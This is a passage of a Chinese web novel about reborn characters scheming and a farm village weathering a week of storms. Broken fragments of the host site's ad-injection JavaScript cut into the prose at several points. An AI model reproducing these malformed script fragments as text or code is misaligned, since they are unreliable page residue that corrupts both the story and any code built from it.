而凤凰男失去了差点到手的房子车子,见邻居姐姐的父母真的放弃了她,不再提供帮助,还又生了个孩子后,逐渐露出本性。他的几个姐姐见她只生了个女儿,一边要把她女儿送人,一边要她马上生二胎。 邻居姐姐大彻大悟要和凤凰男离婚,然而结婚想结就结,离婚却不能想离就离,凤凰男要求她给二十万才同意离婚。 那是贺隽夏第一次见识到婚姻的可怕,而让他如此针对罗阳波的原因,就是邻居姐姐的第二段话。 她说她头脑清醒后和几个大学同学联系上才恍然反应过来,她最开始并不喜欢凤凰男,身边也有很多比他优秀的追求者。 只是凤凰男紧紧缠着她,又在她不知道的地方以她的男朋友自居,把那些追求者用各种手段赶走。 而身边的同学也总是怂恿她打趣她,说些好羡慕你,他对你真好的话,她就这样渐渐陷入了对方制造的陷阱,被蛛丝越缠越紧,被彻底束缚在蜘蛛网里。 从一开始,她就是个猎物。 罗阳波的所作所为和那个凤凰男何其相似。 邻居姐姐的父母颇有社会地位,可以整治凤凰男,可以把女儿从泥潭里拉出来,可要是贺隽秋着了道,以后父母老了,谁能来帮她。 贺隽夏眼里泛着冷光。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 既然敢对贺隽秋使这种恶心的手段,就别怪他以同样恶心的手段还回去。 贺隽夏耐心等了一段时间,冷眼看着罗阳波对贺隽秋的追求渐渐摆在明面上,还不时地讨好他、曾秀平和贺成材,看着村里人都以为他和贺隽秋在谈恋爱,终于等到了一个好机会。 这天下午没活,一群人挤在食堂慢悠悠地午饭,贺隽秋和许丽跑到食堂邀几个玩得好的姑娘去山上摘枞菌。 罗阳波马上提出和她们一起去,食堂里的其他人听见声音,顿时露出起哄看热闹的表情。 贺隽秋表情很是尴尬,贺隽夏起身走上前挡在她面前,拿出100块新币还给他,无奈道:“罗阳波,你别再缠着我妹了,虽然你们是同学,但这件事我们家真不能干,不然就是对其他人的不公平。” 他声音不大,语气里充满了无奈,却足以让附近的人听得清清楚楚,所有人都惊呆了。 原来罗阳波一直黏着贺隽秋不是追求她,是求他们家办事,而且是对其他人不公平的事? 大新闻啊。 能有什么事对其他人不公平,肯定是和实习生的考核有关啊,要知道贺隽秋他爸妈都是组长,能投票决定新人去留。 罗阳波也懵了。 他试图反驳:“小夏哥,我不是我没有,我……” 贺隽夏见他还在辩驳,脸色严肃道:“我父母已经明确向你说过,只要你认真干活他们肯定会投通过票,你想在村里租个大点的房子把家里人都带过来住,我们也答应帮你找房子。” “但是不能因为你表姐表弟没工作就让我父母故意卡别人的考核吧,你把我父母当什么,把农场当什么?” “就因为我妹心软,不停在她面前卖可怜,让我父母和两个大队长说好话挤一个人出去,把你调进养殖场,你咋想得这么美,我这个亲儿子还要下地干活呢。” 贺隽夏的一番话宛如惊雷炸响,震得食堂里的人目瞪口呆,忍不住用异样的眼光看向罗阳波。 尤其是和他关系比较好的几个新人脸色都不太好看,他们把罗阳波当朋友,罗阳波把他们当傻子,背地里想着把他们挤出去给表姐表弟腾位置。 罗阳波被劈头盖脸一阵指责后终于反应过来捏着钱怒不可遏道:“你胡说,明明是你,你说让我给你100块,你才答应把你妹嫁给我。” 贺隽夏拿出了毕生最精湛表演。 他用看精神病一眼的眼神看着罗阳波:“你要找借口也找个好点的借口吧,100块钱,还不够我去城里看我姑一趟的路费。” 有人噗笑道:“小夏去省城坐车都要花六十,带过去的东西都不止100,还图你一百块,你搞笑吧。” 没有人相信罗阳波的话。 贺隽夏可是村里出了名的疼妹妹,哪个女孩不羡慕她有个好哥哥,再说人家一个月工资都有八十,为了一百块把妹妹嫁出去,脑子有病吗。 贺隽夏不想和罗阳波纠缠,他转头道:“小秋,你们几个玩去吧,注意安全啊,以后不要听罗阳波说什么家里情况不好的话,他们家要是情况真不好能来咱们村,故意让你心软呢。” 贺隽秋麻溜地拉着几个好朋友走了。 贺隽夏冷眼看向罗阳波:“我们家干不了亏心事,你有什么打算找别人去吧,以后两家人桥归桥路归路,别来凑近乎。” 说完也不管罗阳波青一阵白一阵的脸径直离开。 罗阳波试图向其他人解释,但他指责贺隽夏的话毫无作用,反而显得自己像被戳穿心思的恼羞成怒。 毕竟一个是陌生人,一个是自己看着长大的乖孩子,一个和自己有竞争关系,一个和自己没有竞争关系,两位组长还是村里出名的老好人。 而且曾秀平多次向村里人打听有没有人愿意出租房子,贺成材手底下有几个保卫科的徒弟,他又是贺强国的亲堂弟,他们夫妻还在负责人面前挂上了号,的确有能力办到那些事。 种种条件在前,对村民和新人们来说,相信谁不用多言。 那一天后,罗阳波渐渐被众人排斥在外,而他愈发阴鸷的表情,总是阴恻恻看人的眼神也让大家坚定了自己的猜想。 罗阳波崩溃了。 他不明白贺隽夏为什么要害他,不明白为什么没有人肯相信他,更不明白一切计划得好好的,贺隽秋已经心软了,自己马上就要进贺家了,怎么会突然落到这个地步。 他是重生者,是天道之子! 这些什么都不懂的土包子算什么? 呵呵,再过一个月,再过一个月,他们就要求着感谢他了。 他一定不会放过贺隽夏! 26.第 26 章 时间一晃而过,夏天的最后一丝余韵消失,金灿灿的秋天彻底到来。 俗话说一场春雨一场暖,一场秋雨一场寒。 一日,天上突然飘起小雨,细如牛毛的雨丝斜斜地飞入田间,地里长出的嫩芽儿在雨中尽情地舒展身姿,空气里弥漫着久的清新。 农场的工人纷纷发出喜悦的声音。 不仅是因为秋雨下的美景和清新的空气,更是因为雨水带来的诸多馈赠让世间万物焕发出新的生机。 三三两两的人扛着锄头慢悠悠地走着,调皮的小孩在雨中尽情地奔跑,没有人把这场小雨当回事。 独自一人行走的罗阳波看着这一幕,阴鸷的脸上露出一抹得意的微笑,该轮到他表现了。 附近的人突然瞥见罗阳波脸上的表情被吓了一跳,心里直嘀咕,咋笑得那么瘆人。他拉着同伴加快速度,很快就将罗阳波远远地抛在身后。 罗阳波不屑地哼了一声。 他自然注意到了那些人的眼神,但他完全不在意,燕雀安知鸿鹄之志。哼,贺家村只是他传奇人生的起点,这些没见识的乡巴佬以后只配仰望他。 然而还没等他迈出传奇人生的第一步,下午上工前的临时会议就彻底打乱了他的计划。 罗阳波听到一半脸色煞白,完全听不进负责人的话,慌乱的大脑里只剩下两个字,完了。 贺家村的负责人怎么知道未来会连续下雨? 那他、那他该怎么表现自己? 罗阳波恨自己上一世活到十九岁就被人入室抢劫杀死,要是上辈子能多活几年,他也不至于只记得特殊磁场爆发的第一年的事。 罗阳波浑浑噩噩地跟着大部队来到田间地里,浑浑噩噩地举起锄头,浑浑噩噩地挖下去,没注意自己挖下去的地方已经远远偏离了规划的路线。 “哎,你挖错了,是这边。” 罗阳波身后的人忍不住出声提醒,殊不知这句话撞在了枪口上。 关你屁事! 罗阳波抬头恨恨地瞪了他一眼,似乎把心里所有的负面情绪都投注在这一眼里,恨得咬牙切齿,恨得那么情真意切。 说话的人被吓了一跳,回过神来后气冲冲地嚷嚷道:“你什么意思,你看看你挖的什么地方,再挖下去排水沟都被你毁了,你好心提醒你,你不领情还瞪我。” 两人闹出的动静瞬间引起了不少人的围观,贺隽夏也是其中之一,不过他不是单纯地看热闹,而是在思考能不能利用这件事。 要知道那天他们在食堂撕破脸后,罗阳波就安分了下来,没有再和任何人发生矛盾冲突。不说干活多积极努力,但在同期来的新人里也算中等,让贺隽夏找不到合适的机会刺激他。 村里人都知道他们两家有矛盾,如果贺成材贸然给对方投一个实习考核不通过,只会让众人觉得他以权谋私。 别看负责人表面上和和气气,但要是有贺家村的人敢趁机作威作福,这人作为被杀鸡儆猴的鸡,绝对会受到严惩。 贺隽夏还没傻到为了对付一个罗阳波,让自家父亲陷入两难的境地。 而且只有当两位大队长(共30%)、所属小组的小组长(20%)以及随机抽取的五位员工(共50%)中,有60%的比例投选考核不通过,新来的实习生才会被认定为不符合岗位要求辞退。 所以贺隽夏想要在实习考核期赶走罗阳波,就必须点燃他和村里其他人的矛盾,不然就是给自己埋下一个迟早会爆炸的大地雷。 ——他们之间早已经撕破脸,没有任何握手言和的可能。 现在就是个好机会。 贺隽夏找到贺成材在他耳边小声说了几句,贺成材停下手里的活,来到发生争执的地方询问情况。 被罗阳波瞪了一眼的人噼里啪啦地把刚才的事说了一遍,撇了撇嘴:“要不是看他乱搞我才懒得搭理他。” 贺成材问罗阳波:“是这样吗?” 他的语气很平静,没有质问的意思,明眼人都能看出来,他并没有因为他们家和罗阳波的龃龉就偏颇另一个人。 要是换做今天之前,罗阳波就忍着情绪好好向那人道歉了,但第一步计划就失去控制给他带来的打击太大,情绪在大起大落已经有些失控。 他梗着脖子道:“我只是不小心挖错了,他就冲上来指指点点,能不能好好说话。” 这句话宛如点燃炮仗的火星,另一个人瞬间炸了,唾沫星子满天飞。 “我艹,你要不要脸,我提醒你一下就叫不好好说话,老子现在才叫不好好说话。” “故意破坏排水沟还有理了,什么奇葩物种啊。” 罗阳波被怼得脸红脖子粗,好一阵你你你地说不出话来,脸色阴沉得能滴下墨来。 听完事情缘由的其他人则是心里暗自泛嘀咕,人家小张好心提醒你,你做出了事还嫌人家态度不好,还一副我记住你,以后肯定会报仇的表情,一看就是个刺头。 两个人针锋相对,场面陷入僵局。 贺隽夏见自己想要的情况已经达到,笑着走上前和小张说话转移话题,小张也马上顺坡下驴,把罗阳波晾在一边,全然当刚才的事情不存在。 贺成材把小张和另一个人调换位置,主动给罗阳波找借口,给他指出他要挖的线路,还做了几次示范。 没人能说贺成材的处理方式不行,他没有偏颇任何人,不,他甚至隐隐帮有错的罗阳波糊弄了过去。 场面再次安静下来,只剩下锄头挖土的哐哐声和众人的呼气喘气的声音。 * 第一天:小雨 第二天:中雨 第三天:暴雨 没人想到这场秋雨下了就不打算停。 淅淅沥沥的雨水带来了无尽的水源,细小清澈的溪流变成滔滔不绝的汹涌洪水,挤满了去年刚修的宽阔河道。 狂风呼啸,豆大的雨滴疯狂砸下,望着被压在泥巴里的嫩芽,众人内心曾经对秋雨到来的喜悦都变成了厌恶和担忧。 如果雨继续下下去,田里刚长出的土豆苗和红薯苗迟早会被雨砸死,不被砸死也会被水淹死, 老天爷 你长长眼吧! 无数人在内心祈祷,希望雨快点停下,希望那些幼小的嫩芽能顽强地坚持下去。 然而求神不如求己。 上天并未听见人们的祈祷,贺家村人只能冒着大雨修建修整排水沟渠,给出苗的土地拉上网布遮雨,好让积在田间的雨水少一些,再少一些,让嫩芽儿获得更多喘息的机会。 贺隽夏准备的几件塑料雨衣终于派上用场,但不是所有人都有雨衣防雨。为了防止大家伙感冒,食堂开始免费提供不限量的生姜水供人随意取用。 贺隽夏一家人倒是还好, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他们有雨衣,每天回到家后都会煮几包红糖姜茶喝,稍有感冒的症状还会冲一包感冒灵防止病情加重。 不过他们家囤的红糖姜茶不多,本来是给贺隽秋来生理期时缓解疼痛的,没想到现在用上了。 下工的贺隽夏回到家后立刻脱掉雨衣,往嘴里灌下一大口红糖姜茶。又甜又辣的姜茶顺着咽喉食道流入胃袋,身体和四肢都渐渐暖了起来。 贺隽夏看着大雨滂沱下的泥泞土地,脑海中忽然冒出一句儿时学过的唐诗——谁知盘中餐,粒粒皆辛苦。 农人要付出数不尽的辛勤劳动才能使一颗小小的种子,一株细细的嫩芽儿结出丰硕的果实。 然而在连续顶着暴雨干活,又没能好好洗个热水澡驱寒的情况下,即使有食堂提供生姜水,也改变不了生病的人日益增多的情况。 比如前后两批来贺家村的新人无一例外全部中招,得亏贺家村里有个小诊所,诊所里囤了不少常见药,让感冒的人不至于去县城求医。 而且大部分人生病了也不能休息。 贺家村农场是一个有近三百多名员工的农场,员工多,土地更多,若是不紧急抢救挖出排水沟排水,他们辛苦了那么久的成果就会毁于一旦。 这是任何人都不想看见,也是不能出现的情况。 毕竟社会环境之所以还能维持平稳,就是因为粮库里囤了足够多的粮食,能暂时满足人们的日常饮食需求。但粮库的粮食终究有吃完的一天,如果后续种出来的粮食不能及时补上,未来迟早会出大乱子。 而他们现在种的粮食就是重中之重。 如果这批秧苗被水淹死,他们重新补种至少需要半个多月,还有可能因为天气转凉导致农作物不出苗,晚出苗,严重影响未来一段时间内的粮食价格 所以无论再苦再累也只能撑着。 贺家三人并排走在积满雨水的村道上,他们干了一早上的活,准备先去食堂吃个饭,保卫科的军人们却还没有停下来的打算。 贺隽夏回头看去,那些劳作的身影在淋淋漓漓的雨水下变得朦胧模糊,好似傲然挺拔的人类脊梁——既然天公不作美,他们就与天斗、与天争,誓要让这片土地结出丰硕的果实。 贺隽夏心神微动。 曾秀平顺着他的视线看过去,脸上布满愁容和心疼,对那些年轻的孩子们的心疼。 曾秀平小声道:“回头给小张他们多送点红糖姜茶和感冒灵。” 村里有村医开的小诊所也抵不住生病的人多,还有隔壁几个村子的人来求医,消炎药感冒药已所剩无几。 食堂储存的生姜本就不多,需要喝热姜水的人又多,没过多久姜就用完了。永不停歇的大暴雨严重影响了交通,食堂的采购员去县里买生姜都买不着,各种药品更是没门儿,全都处于断货状态。 生姜水渐渐变成了胡椒水、花椒水,可明眼人心里都清楚这些东西也撑不了多久。 而保卫科的军人们在这时发挥出了大无畏的奉献精神,他们干着最苦最累的活儿,生病了却只喝点热水硬挺着,除非实在撑不住了才去诊所拿点药。 哪个做父母的看了不心疼。 贺隽夏收回目光:“好。” 或许从理性上来说把好东西囤着才是最正确的选择,但人之所以为人,就是人不仅只有理性。 那样的人和机器人有什么区别? 27.第 27 章 三人回到家将打算告知贺隽秋,得到了贺隽秋的大力支持,她迅速地翻出家里囤的感冒药和大包装的红糖姜茶,还十分积极地表示自己来跑腿。 贺隽夏:…… 贺隽夏狐疑地盯着她。 虽然是他们商量好共同做出的决定,但平时也没见她干活这么积极啊? 贺隽秋被盯得头皮发麻,干笑几声道:“哥,你看我做什么,要不你去送?” 贺隽夏:“算了,你去吧。” 弯腰干了一上午的活,他现在只想坐下来好好休息,顺便睡个午觉。 贺隽秋一手提着装东西的塑料袋一手拿着雨伞匆匆跑出家。 贺隽夏看着她的背影托腮:“爸,妈,你们有没有觉得小秋有点不对劲?” “没有啊,哪里不对劲?” 曾秀平和贺成材不明白他的意思。 贺隽夏的手指轻轻敲击桌面,不知道怎么用语言形容这种感觉,他总不能说贺隽秋干活太积极了吧。 也许是长大了,更加体贴人了? 贺隽夏自己说服了自己,没有再往下探究,殊不知未来知道真相的他悔得肠子都青了。 …… 这场仿佛无穷无尽的狂风暴雨终于在第七天停歇,贺家村迎来了久违的灿烂阳光。 即使海量注入的雨水已经让乡间的泥巴路变成软烂的淤泥滩,让人一踩一脚泥,脏鞋子又脏裤子,也丝毫不影响人们热情。 温暖的阳光驱散了秋雨带来的寒意,得到允许的小孩们四处奔跑撒欢,好不快乐悠闲。 但别以为暴雨停歇就万事大吉。 如果不及时对农田进行杀菌消毒处理,暴雨后滋生的大量细菌会带来严重的病虫害。比如土豆就容易出现黑痣病、黑胫病和早疫病等。 除去杀菌消毒,还必须给土壤松土,防止土壤板结硬化,提高氧气的流通率,以及追加肥料补充营养等。 而这些事情会消耗大量的人力物力,在病号多于正常人的贺家村里,不是一天两天就能快速完成的事。 就算勉强让大家伙儿多坚持坚持,物力方面也需要现县城的援助,否则巧妇难为无米之炊。 奈何受灾的地方太多,几乎覆盖周边的所有乡镇农场,贺家村所属的县城又是个经济不发达的小县城,农贸市场里农用方面的物品只有少量存货。 少量的存货分下来,每个农场只能分得极少一部分。小农场都不够用,更别说贺家村这种土地面积较大较广的农场。 现在咋办? 凉拌。 负责人将几个大队长小组长召集起来开会,商讨如何解决问题,好在村里的老农民经历过从无到有的年代,根据自己多年的经验提出了另一种方案——烧制草木灰。 草木灰是一种天然的杀菌剂和有机肥,能够改善土壤结构,增强土壤肥力,提高农作物对病虫害的抵抗力,增加作物产量。 从远古时代的刀耕火种开始,草木灰就已经在农用方面发挥出了巨大的作用。 直到近现代科技高速发展,各种人工化肥层出不穷,加上政府为了保护大气环境,出台政策禁止焚烧秸秆,草木灰才渐渐淡出人们的视野。 如今人类科技被无形的磁场限制,工厂停工,企业停摆,汽车失效,焚烧极杆制作草木灰带来的危害也就变得微乎其微。 这个方案得到了所有人的赞同。 草木灰制作方式简单,取材方便,而且电力失效后,灶房烧柴火就成了煮饭炒菜的主要方式,家家户户的灶炉里都堆着不少草木灰,每天都会提供大量饭菜的食堂更是草木灰大户。 会议结束后的半个小时内,几位小组长从组员家里收集来的草木灰就填满了几个塑料桶,估摸着有百来斤。 不过在耕地面积高达上百亩的贺家村,百来斤的草木灰还是不够满足所有土地的需求。 农场里的人分成了三部分,一部分带着筹集到的草木灰去处理耕田,一部分人去山上捡枯枝落叶砍伐一些植物,还有一部分病情较严重的人留在食堂,帮着给灶炉添火,好让灶里的木头枯枝烧得更快些。 赵火在燃烧,灶上也没闲着。 在火焰的灼烧下,白色的水蒸气缓缓飘出,大铁锅里的冰凉河水渐渐冒出小泡,继而翻滚扑腾发出咕噜噜的声音。 一个又一个保温杯、老式暖水壶被热水灌满,剩下的热水则留给感冒严重的人,让他们泡一泡脚,洗一洗头,擦一擦身体,缓解生病带来的不适。 这是独属于生病者的福利,像贺隽夏这种极少数没有生病的人都得和保卫科的人一起去田里干活。 这时候也不分什么你们组的地、我们组的地,反正都是农场的地,一块也不能落下。 一天天马不停蹄地忙下来,贺隽夏回家后倒头就睡,顶多抽几分钟和两只正处于尴尬期的小狗玩玩,完全抽不出空思考其他的事,比如怎么让罗阳波实习考核不通过。 不过就算他没时间对付罗阳波,罗阳波也已经快完蛋了。 他只淋了一天小雨就开始请病假,请到雨天结束也没来销假,期间叫他干点不用淋雨的小活也推迟说头疼。 偏偏他吃饭比谁都积极,完全不像生病到一点都干不了活的人,或者说就根本不像生病的人——据罗阳波的室友说,罗阳波在寝室里活蹦乱跳,说话声音正常,精神正常,只喝冷水不喝热水,连村医开的感冒消炎药都懒得吃。 那些带病坚持干活的人看见他的样子心里怎么会舒坦? 虽然实习考核还没到来,但罗阳波已经被两位大队长在心里判了死刑,村里人更是对他藏着诸多不满,只是没在面上表现出来。 毕竟罗阳波是一个注定会离开贺家村的人,没必要和他结仇,忍一段时间就过去了。 而罗阳波本人还在为自己的小聪明沾沾自喜。 虽然他没能按照最初的计划在贺家村的负责人面前表现,但现在农场里的大部分人都病倒了,只有他借口生病没干活,精神饱满、神采奕奕。 等到雨后修整工作结束,田里没有了恶心的水蛭,他再销假上工肯定能惊掉一群人的下巴,到时候他就是农场里最能干活的人。 上一世时他就听表哥说,过年时农场会给出色的员工颁发劳模奖,有100块奖励呢。 就是不知道贺隽秋他哥发什么癫,不然他还能像他表哥那样和村里的女生谈恋爱,让女生家里的人帮他换个轻松的活。 罗阳波美滋滋地打着小算盘,殊不知别说过年,就是下个月他都过不了。 * 一天,两天,三天,四天…… 灾后土地修整工作逐渐完成,农场的员工们迎来了久违的假期,终于可以好好休息一下。 不过第二批来贺家村的新人们不敢有丝毫放松,因为决定他们能否留在贺家村农场的实习考核要来了。 一时间风声鹤唳,新人们的行为举止都规矩礼貌起来,哪怕互相间有矛盾也是隐而不发,等着这阵风头过去了再处理。 出乎意料的是,一个来自隔壁县城的惊天消息先一步到来,如晴天霹雳一般震惊了周边的市县村镇。 隔壁县城所属的某个村庄农场突发泥石流导致10死13伤,另外还有5人失踪。 导致这桩惨案发生的因素有很多。 一是泥石流发生时有很多人还在山上干活才导致这桩惨案发生。 二是连日的暴雨带来了大量的雨水 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,雨水使松散的土地更加湿润,又汇聚成强大的水流推动了泥石流的出现。 但究其根本原因是该农场的人为了开荒过度砍伐那座山上的树木,以至于土地松软,水土流失严重,没能扛过暴雨的冲刷。 得知事情始末的贺家村人心有戚戚,脸上满是后怕,差一点他们就会和隔壁县的人落得同一个下场。 别说负责人已经下令最近不让村民靠近那座被过度开荒的小山,就算负责人不说,有先例在前也没人敢过去。 村里的小孩儿们更是被家长耳提面命地教育,就怕有孩子调皮跑去山上玩。 不知是不是大家后续退田还林补救的工作有效,那座被人避之不及的小山安安稳稳地伫立着,完全没有发生泥石流的征兆。 就这样紧张地过了一段时间,泥石流带来的阴影被新的话题取代,负责人带来的消息却又把众人的注意力拉了回来。 因为他们村早早提出过度开荒有可能在雨季引发泥石流的可能,且在暴雨到来后再次进行提醒,得知消息的各农场负责人都让员工们远离了那些被开荒的大山。 所以贺家村所属的县城及其附近的村镇都安稳度过了这场长达一个星期的暴雨。即使有几个村出现了小型泥石流也没有造成人员伤亡。 县领导受到市里的表扬后,表扬了贺家村农场的负责人。负责人受到县领导的表扬后,则决定表扬最先发现问题的贺隽夏,给予他一百元作为奖励。 贺隽夏:(⊙.⊙) 贺隽夏没想到一个多月前的一句话还能有售后,不过他没有接受负责人的表扬,而是将事情的原委,说出来,表示许丽才是最先发现问题的人。 许丽也没想到好处还能落在自己头上。 她当初将过度开荒可能会引发泥石流的消息隐晦地提醒给贺隽秋,由贺家人来说这件事,既是考虑到自己没有话语权,也是为了感激曾秀平对自己的照顾。 许丽同样不愿意接受负责人的奖励。 虽然最开始她是存着利用的心思才和曾秀平、贺隽秋交好,但在她们的真心关怀下,她早已将她们当成亲人朋友,也对当初的利用心思感到羞愧。 她哪里好意思接受这份奖励。 而面对两人的拒绝,负责人不仅没有生气还哈哈大笑起来,将100元奖金分成两份,一人发了50块。 贺隽夏和许丽对视一眼欣然接受。 毕竟要是再拒绝就显得他们太不识好歹了。 表彰大会结束后聚集的村民们三三两两地散去,贺隽夏也准备离开,却突然瞥见罗阳波阴沉憎恨的眼神。 他在看谁? 贺隽夏顺着罗阳波的视线看过去不禁皱起眉头,他可从没听说罗阳波和许丽有矛盾。 贺隽夏张嘴想要提醒许丽小心罗阳波,只是还没等他说话,罗阳波就转身离开了广场,消失在茫茫夜色里。 贺隽夏问许丽:“你和罗阳波有矛盾?” 许丽茫然:“没有啊,我和他都没说过几句话。” 那就奇怪了。 贺隽夏将刚才的情况告诉许丽,贺隽秋听见了插嘴道:“他会不会是在看你?” 毕竟他们家和罗阳波早已撕破脸。 贺隽夏摇摇头:“不是。” 他很确信罗阳波就是在看许丽。 见贺隽夏说得笃定,许丽也不由得上了心。虽然不明白自己哪里得罪了罗阳波,但小心点总没错。 可千防万防,还是防不住有心人,罗阳波还是找到了一个和许丽单独见面的机会。 哦不,也不算单独。 正在山上辨别草药的贺隽夏就听见了一句石破天惊的话。 “你也是重生的!” 28.第 28 章 重生?! 贺隽夏下意识就要起身寻找说话的人,但理智先一步将他控制,让他保持安静。 “什么重生?” 另一道带着疑惑的女声响起,贺隽夏立刻锁定了这道声音的主人,他和她今天上午还说过话。 “别装了,你要不是重生的,你怎么会知道未来会发生泥石流。 ” 罗阳波情绪激动地瞪着许丽。 许丽压住内心的惊涛骇浪,后退几步和罗阳波隔开一定距离,面上无语道:“地理书上写的啊,你又不是没上过学。” 罗阳波好似根本没听见许丽的反驳,自顾自地说道:“让我猜猜你是什么时候重生的,是你来贺家村的第二天,对吧。” “别急着反驳,我家和柳珍珍家在同一个小区,上辈子到底有几个人被赶出贺家村,我一清二楚。” 他得意又嘲讽地看着许丽:“上辈子你跟着柳珍珍离开了贺家村,结果柳珍珍他爸没过多久就倒台了,柳家自顾不暇,根本没空管你这个小跟班。” “所以你重生后主动向曾秀平认错,死皮赖脸都要留在贺家村,讨好曾秀平一家,做贺隽秋的小跟班。” 罗阳波一口气说了一大段话,话里蕴含的信息让唯二的两位听众心惊。只是一个是单纯的惊讶,一个是惊惧和慌张。 贺隽夏想到那两天许丽对柳真真两级反转的态度恍然大悟,一切不合理的地方都有了完美的解释。 许丽感受着仿佛要跳出胸腔的心脏,强忍着镇定:“我不知道你在说什么,或许在你的世界里只有功利的巴结和跟班两字,但对我来说,小秋是我的朋友,曾姨就像我的亲人一样。” “请你让开,不然我就叫人了。” 许丽心里恨极了罗阳波,也实在搞不懂他的神奇脑回路。知道世界上还有其他重生者不好好苟着,主动找上门来是什么奇葩操作? 真把自己当天命之子了? 罗阳波冷笑一声:“不承认也没关系,走着瞧吧,看看谁才是笑到最后的那个人。” 罗阳波放完狠话便转身离开,眼里是毫不掩饰的恶意。他已经下定决心要弄死许丽,只有许丽死了,他才是唯一的天命之子。 他看过的小说都这么写。 “神经病!” 许丽忍不住对着罗阳波的背影骂了一句,骂完又开始苦恼怎么解决这件事。 她实在搞不懂罗阳波的想法,哪怕她是重生者,他们之间也没有任何利益冲突吧,干嘛揪着她不放,相安无事不好吗。 难不成罗阳波喜欢柳珍珍? 许丽的思维开始发散,几米之外的贺隽夏也在思考要不要站出去,他迫切地想从许丽嘴里得知未来的消息。 不过贺隽夏还是忍住了。 许丽刚被罗阳波质问了一番,正处于惊弓之鸟的时候。他现在出现说自己听见了她和罗阳波的对话,询问她未来的事,只会引得许丽更加小心警惕。 反正许丽和贺隽秋是朋友,曾秀平还时常邀她来家里做客吃饭,探听消息的机会多着,不必急于一时。 而且既然许丽和罗阳波两个重生者都要留在贺家村,就说明至少在他们死的时候贺家村还是个安全的地方。 想明白这一点,贺隽夏目送许丽离开。 几天后,第二批新人的实习考核开始,一直吊着新人头顶的达摩克利斯之剑终于落了下来。 坏消息:有人考核不通过。 好消息:那个人是罗阳波。 得知实习考核结果的新人们高兴不已,有些甚至激动地跳了起来,只有罗阳波看着贴在通知栏上的告示脸色发青。 他怎么会不通过? 罗阳波的心态彻底爆炸了。 本来最重要的一步计划出岔子,又多了个重生者同类就让他够心烦了,偏偏临到最后实习考核还不通过,显得他像个巨大的笑话。 他完全忘记了自己当初通过装病逃避干活的行为,满心的愤恨不满,甚至想要当面质问负责人。 他这么想,也这么做了。 所有人看着罗阳波愤怒地拦住负责人的去路,怒气冲冲道:“我不服,凭什么爱偷懒的王XX、李XX都能通过考核,我却没有,肯定是贺成材故意报复我。” 王XX、李XX:…… 不是,哥们你有病吧,扯我们干什么。 王XX立即反驳:“我什么时候偷懒了,下雨的时候我天天去地里干活,你呢,你躲在宿舍里装病不出门。” 李XX附和:“就是,你别以为我们不知道你是在装病,你要是通过考核才有黑幕呢,还好意思说贺组长针对你。” 三人就这么不管不顾地吵了起来。 围观群众:…… 负责人懒得听几人打嘴炮,直接叫人把罗阳波票数公布出来。好家伙,八个人没一个投通过票,想暗箱操作你通过也办不到啊。 至于报复更是无稽之谈。 贺成材再有本事,也没办法让所有人都听他的话,他又不是负责人——那五位参与投票的群众可是负责人临时从花名册里随机抽取的农场员工,有保卫科的军人,有贺家村的原村民,也有上一批来自县城的新人。 你让所有人都不满意,你不走谁走? 当天下午,罗阳波就灰溜溜地离开了贺家村,许丽放心了,贺隽夏也放心了。 就算罗阳波日后想来贺家村报复,也得先躲过村里的情报网,否则一进村子就会被人发现——那些没事就闲聊天的老头老太太可不是好惹的人。 …… 时间一晃而过,转眼间就到了冬天。 冬天的第一场雪为山川大地裹上了银白色的漂亮披风,贺家村农场的员工们却没心思欣赏雪景,他们有重要的事要做。 毕竟雪景 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再漂亮也不能吃,他们种下的大片农作物却到了快要收获的时候,可不能让这场雪把作物冻死。 好在村里的老农民们有经验,早在深秋就让大家伙做了大量准备,给每块地上都建了防雪棚,下雪后又立刻在土里放上干稻草给作物保暖。 没过几天,大家又回归了正常的生活状态。 而对于贺隽夏一家人来说,他们还有另一件重要的事情要完成,贺隽秋的生日快到了,而且是18岁的生日。 贺隽夏的18岁生日得到了家人远超平常的重视,表妹的18岁生日更是在市里的五星级酒店办了场宴会。 贺隽夏也想为贺隽秋过一个难忘的18岁生日,这个想法得到了曾秀平和贺成材大力支持。 所以在贺隽秋生日那天,贺隽夏先给了贺隽秋一笔钱支开她,让她和几个朋友去县里逛街玩,自己和父母则分别去不同的地方开始采购。 等贺隽秋和几个朋友玩够了从县里回来,迎接她们的就是一桌无比丰盛的大餐和一个小四寸的水果蛋糕。 蛋糕?! 贺隽秋惊呆了。 她颤抖着嘴唇,眼里泛着水光,闷声闷气道:“爸妈,你们在哪买的蛋糕啊,花这个冤枉钱干什么。” 曾秀平笑:“问你哥。” 贺隽秋转头看向贺隽夏,贺隽夏上前揉了揉她的头发:“没花冤枉钱,我自己做的,怎么样,卖相还不错吧。” 贺隽秋瞪大眼睛:“你做的?” 贺隽夏挑眉:“不信?” 贺隽秋连忙道:“信信信,但是奶油哪来的,我记得县里没有卖奶油的吧。” 贺隽夏指了指两只小狗碗里的鸡蛋黄:“用鸡蛋清打发出来就行。” 贺隽秋仿佛变成了问题宝宝。 她又问:“蛋糕胚呢?” 贺隽夏打了个响指:“当然是鸡蛋加面粉。” 他说得轻轻松松,但贺隽秋心里清楚,要想将鸡蛋面粉变成桌上的水果蛋糕绝对不是一件容易的事。 贺隽秋抹了抹眼泪扑进贺隽夏怀里:“哥,你真好。” 贺隽夏问:“谁是世界上最好的哥哥?” 贺隽秋:“你!” 兄妹两人的互动看得曾秀平和贺成材眼里充满慈爱,受邀来贺家吃饭的几个年轻女孩则是满心羡慕。 虽然她们在家的待遇也不差,但家里人绝对不会为了她们的生日如此大费周章,弄几个难得的荤菜就不错了,更别说没条件都要创造条件,亲手做一个水果蛋糕。 呜呜呜 好哥哥都是别人家的。 贺隽夏让贺隽秋放开自己,从包里取出蜡烛用火柴点燃,将一个生日小王冠戴在她头上,轻轻唱起生日歌。 贺隽秋在朋友和亲人的歌声中慢慢闭上眼睛,许下自己的生日愿望。 希望她的亲人和朋友永远平安快乐。 29.第 29 章 寒冷的冬季注定是个多事的季节。 